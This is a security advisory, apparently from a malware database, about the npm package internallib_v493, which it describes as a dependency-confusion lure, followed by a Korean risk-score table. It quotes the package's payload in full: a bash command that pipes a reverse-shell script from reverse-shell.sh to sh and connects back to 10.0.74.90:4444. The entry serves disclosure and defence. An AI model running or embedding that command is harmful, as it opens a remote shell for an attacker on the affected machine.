Malicious code in internallib_v493 (npm)
-= Per source details. Do not edit below this line.=-
The package's sole exported function command() in index.js executes /bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh", fetching a reverse-shell script from reverse-shell.sh and piping it directly to sh to establish a connection back to 10.0.74.90 on port 4444. The package has no other functionality — its only advertised export is the backdoor. The package name (internallib_v493) and placeholder metadata (empty author, generic description) are consistent with a dependency-confusion / internal-name-squatting lure targeting organizations with private packages of similar names. A typo in the source (reuquire instead of require) means the payload throws on load in its current form, but the malicious intent is unambiguous and a corrected republish would fire immediately on any caller invoking the export.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준